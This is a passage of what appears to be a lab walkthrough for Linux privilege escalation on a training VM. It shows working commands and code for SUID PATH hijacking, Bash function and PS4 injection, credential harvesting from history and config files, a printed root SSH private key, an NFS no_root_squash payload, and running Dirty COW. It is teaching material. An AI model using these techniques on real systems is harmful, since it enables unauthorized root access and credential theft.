The `/usr/local/bin/suid-env` executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

```
user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
<snip>
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2

```

First, execute the file and note that it seems to be trying to start the apache2 webserver:

```
user@debian:~$ /usr/local/bin/suid-env
Starting web server: apache2httpd (pid 1569) already running
.

```

Run `strings` on the file to look for strings of printable characters:

```
user@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start

```

One line ("service apache2 start") suggests that the `service` executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

Compile the code located at `/home/user/tools/suid/service.c` into an executable called `service`. This code simply spawns a Bash shell:

```
user@debian:~$ cat /home/user/tools/suid/service.c
int main() {
        setuid(0);
        system("/bin/bash -p");
}

```

```
user@debian:~$ gcc -o service /home/user/tools/suid/service.c

```

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the `suid-env` executable to gain a root shell:

```
user@debian:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin
user@debian:~$ PATH=.:$PATH /usr/local/bin/suid-env
root@debian:~# echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

```

SUID / SGID Executables - Abusing Shell Features (#1)

The `/usr/local/bin/suid-env2` executable is identical to `/usr/local/bin/suid-env` except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.

```
user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
<snip>
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2

```

```
user@debian:~$ /usr/local/bin/suid-env2
Starting web server: apache2httpd (pid 1666) already running
.

```

Verify this with `strings`:

```
user@debian:~$ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
```

```
/usr/sbin/service apache2 start

```

In Bash versions **<4.2-048** it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

Verify the version of Bash installed on the Debian VM is less than 4.2-048:

```
user@debian:~$ /bin/bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

```

Create a Bash function with the name `/usr/sbin/service` that executes a new Bash shell (using -p so permissions are preserved) and export the function:

```
user@debian:~$ function /usr/sbin/service { /bin/bash -p; }
user@debian:~$ export -f /usr/sbin/service

```

Run the `suid-env2` executable to gain a root shell:

```
user@debian:~$ /usr/local/bin/suid-env2
root@debian:~# id
uid=0(root) gid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
000(user)

```

SUID / SGID Executables - Abusing Shell Features (#2)

Note: This will not work on Bash versions 4.4 and above.

When in debugging mode, Bash users the environment variable `PS4` to display an extra prompt for debugging statements.

Run the `/usr/local/bin/suid-env2` executable with bash debugging enabled and the `PS4` variable set to an embedded command which creates an SUID version of `/bin/bash`:

```
user@debian:~$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;
chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
/usr/sbin/service apache2 start
basename /usr/sbin/service
VERSION='service ver. 0.91-ubuntu1'
basename /usr/sbin/service
USAGE='Usage: service < option > | --status-all | [ service_name [ command |
--full-restart ] ]'
SERVICE=
ACTION=
SERVICEDIR=/etc/init.d
```

```
OPTIONS=
'[' 2 -eq 0 ']'
cd /
'[' 2 -gt 0 ']'
case "${1}" in
'[' -z '' -a 2 -eq 1 -a apache2 = --status-all ']'
'[' 2 -eq 2 -a start = --full-restart ']'
'[' -z '' ']'
SERVICE=apache2
shift
'[' 1 -gt 0 ']'
case "${1}" in
'[' -z apache2 -a 1 -eq 1 -a start = --status-all ']'
'[' 1 -eq 2 -a '' = --full-restart ']'
'[' -z apache2 ']'
'[' -z '' ']'
ACTION=start
shift
'[' 0 -gt 0 ']'
'[' -r /etc/init/apache2.conf ']'
'[' -x /etc/init.d/apache2 ']'
exec env -i LANG=
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin TERM=dumb
/etc/init.d/apache2 start
Starting web server: apache2httpd (pid 1666) already running
.

```

Run the `/tmp/rootbash` executable with -p to gain a shell running with root privileges:

```
user@debian:~$ /tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
000(user)

```

Passwords & Keys - History Files

If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.

View the contents of all the hidden history files in the user's home directory:

```
user@debian:~$ cat ~/.*history | less
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn
ls

```

```
id
exit
id
rm /tmp/rootbash
exit
identify


(END)

```

Note that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line. Note that there is no space between the -p option and the password!

Switch to the root user, using the password:

```
user@debian:~$ su root
Password:password123
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Passwords & Keys - Config Files

Config files often contain passwords in plaintext or other reversible formats.

List the contents of the user's home directory:

```
user@debian:~$ ls /home/user
myvpn.ovpn  tools

```

Note the presence of a `myvpn.ovpn` config file. View the contents of the file:

```
user@debian:~$ cat /home/user/myvpn.ovpn
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt
comp-lzo
verb 1
reneg-sec 0

```

The file should contain a reference to another location where the root user's credentials can be found. Switch to the root user, using the credentials:

```
user@debian:~$ cat /etc/openvpn/auth.txt
root
password123

```

```
user@debian:~$ su root
Password:password123
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Passwords & Keys - Config Files

Sometimes users make backups of important files but fail to secure them with the correct permissioms.

Look for hidden files & directories in the system root:

```
user@debian:~$ ls -la /
total 96
<snip>
drwxr-xr-x  2 root root  4096 Aug 25  2019 .ssh
drwxr-xr-x 13 root root     0 Aug  1 05:23 sys
drwxrwxrwt  2 root root  4096 Aug  1 06:01 tmp
drwxr-xr-x 11 root root  4096 May 13  2017 usr
drwxr-xr-x 14 root root  4096 May 13  2017 var
lrwxrwxrwx  1 root root    27 May 12  2017 vmlinuz -> boot/vmlinuz-2.6.32-5-
amd64

```

Note that there appears to be a hidden directory called `.ssh`. View the contents of the directory:

```
user@debian:~$ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25  2019 root_key

```

Note that there is a world-readable file called `root_key`. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.

Copy the key over to your Kali box (it's easier to just view the contents of the `root_key` file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:

```
user@debian:~$ cat /.ssh/root_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl
p4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQo
OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFET
Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2
NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZ
YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
```

```
5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el
WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7
VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7
6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW
1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K
824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6
Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
U7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1
Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51Zi
SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV
d+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561Im
jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa
871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfN
Whp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==
-----END RSA PRIVATE KEY-----
```

```
┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ chmod 600 root_key
```

Use the key to login to the Debian VM as the root account:

```
┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o "HostKeyAlgorithms=+ssh-rsa" -o "PubkeyAcceptedKeyTypes=+ssh-rsa" -i root_key root@10.10.197.221 -p 22
Warning: Permanently added '10.10.197.221' (RSA) to the list of known hosts.
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug  1 06:17:52 2022 from ip-10-4-70-23.eu-west-1.compute.internal
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root)
```

NFS

Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

Check the NFS share configuration on the Debian VM:

```
user@debian:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
```

```
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check)
hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#

/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

#/tmp *(rw,sync,insecure,no_subtree_check)

```

Note that the `/tmp` share has root squashing disabled.

On your Kali box, switch to your root user if you are not already running as root:

```
┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ sudo su

┌──(root💀kali)-[/home/…/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─#

```

Using Kali's root user, create a mount point on your Kali box and mount the `/tmp` share:

```
┌──(root💀kali)-[/home/…/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─# systemctl start nfs-kernel-server

┌──(root💀kali)-[/home/…/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─# mkdir /tmp/nfs

┌──(root💀kali)-[/home/…/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─# mount -o rw,vers=2 10.10.197.221:/tmp /tmp/nfs
mount.nfs: requested NFS version or transport protocol is not supported

┌──(root💀kali)-[/home/…/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─# rpcinfo 10.10.197.221 | egrep "service|nfs"
   program version netid     address                service    owner
    100003    2    tcp       0.0.0.0.8.1            nfs        unknown
    100003    3    tcp       0.0.0.0.8.1            nfs        unknown
    100003    4    tcp       0.0.0.0.8.1            nfs        unknown
    100003    2    udp       0.0.0.0.8.1            nfs        unknown
    100003    3    udp       0.0.0.0.8.1            nfs        unknown
    100003    4    udp       0.0.0.0.8.1            nfs        unknown

┌──(root💀kali)-[/home/…/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─# mount -o rw,vers=3 10.10.197.221:/tmp /tmp/nfs

```

Still using Kali's root user, generate a payload using `msfvenom` and save it to the mounted share (this payload simply calls `/bin/bash`):

```
┌──(root💀kali)-[/home/…/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o
/tmp/nfs/shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the
payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of elf file: 132 bytes
Saved as: /tmp/nfs/shell.elf

```

Still using Kali's root user, make the file executable and set the SUID permission:

```
┌──(root💀kali)-[/home/…/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─# chmod +xs /tmp/nfs/shell.elf

```

Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:

```
user@debian:~$ /tmp/shell.elf
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
000(user)

```

Kernel Exploits

Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.

Run the `linux-exploit-suggester-2.pl` tool to identify potential kernel exploits on the current system:

```
user@debian:~$ perl /home/user/tools/kernel-exploits/linux-exploit-
suggester-2/linux-exploit-suggester-2.pl

  ##############################
    Linux Exploit Suggester 2
  ##############################

  Local Kernel: 2.6.32
  Searching 72 exploits...

  Possible Exploits
  [1] american-sign-language
      CVE-2010-4347
      Source: http://www.securityfocus.com/bid/45408
  [2] can_bcm
      CVE-2010-2959
      Source: http://www.exploit-db.com/exploits/14814
  [3] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
```

```
  [4] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [5] half_nelson1
      Alt: econet       CVE-2010-3848
      Source: http://www.exploit-db.com/exploits/17787
  [6] half_nelson2
      Alt: econet       CVE-2010-3850
      Source: http://www.exploit-db.com/exploits/17787
  [7] half_nelson3
      Alt: econet       CVE-2010-4073
      Source: http://www.exploit-db.com/exploits/17787
  [8] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [9] pktcdvd
      CVE-2010-3437
      Source: http://www.exploit-db.com/exploits/15150
  [10] ptrace_kmod2
      Alt: ia32syscall,robert_you_suck       CVE-2010-3301
      Source: http://www.exploit-db.com/exploits/15023
  [11] rawmodePTY
      CVE-2014-0196
      Source: http://packetstormsecurity.com/files/download/126603/cve-2014-
0196-md.c
  [12] rds
      CVE-2010-3904
      Source: http://www.exploit-db.com/exploits/15285
  [13] reiserfs
      CVE-2010-1146
      Source: http://www.exploit-db.com/exploits/12130
  [14] video4linux
      CVE-2010-3081
      Source: http://www.exploit-db.com/exploits/15024


```

The popular Linux kernel exploit "Dirty COW" should be listed. Exploit code for Dirty COW can be found at `/home/user/tools/kernel-exploits/dirtycow/c0w.c`. It replaces the SUID file `/usr/bin/passwd` with one that spawns a shell (a backup of `/usr/bin/passwd is made at /tmp/bak).

Compile the code and run it (note that it may take several minutes to complete):

```
user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c
-o c0w
user@debian:~$ ./c0w

   (___)
   (o o)_____/
    @@ `     \
     \ ____, //usr/bin/passwd
      //    //
     ^^    ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap d3d18000
```

```
13
14 madvise 0
15
16 ptrace 0
17
```

Once the exploit completes, run `/usr/bin/passwd` to gain a root shell:

```
1 root@debian:/home/user# id
2 uid=0(root) gid=1000(user)
  groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
  000(user)
3
```

Privilege Escalation Scripts

Several tools have been written which help find potential privilege escalations on Linux. Three of these tools have been included on the Debian VM in the following directory: `/home/user/tools/privesc-scripts`

```
1 user@debian:~$ ls /home/user/tools/privesc-scripts/
2 LinEnum.sh  linpeas.sh  lse.sh
3
```

LinEnum, PEASS-ng, linux-smart-enumeration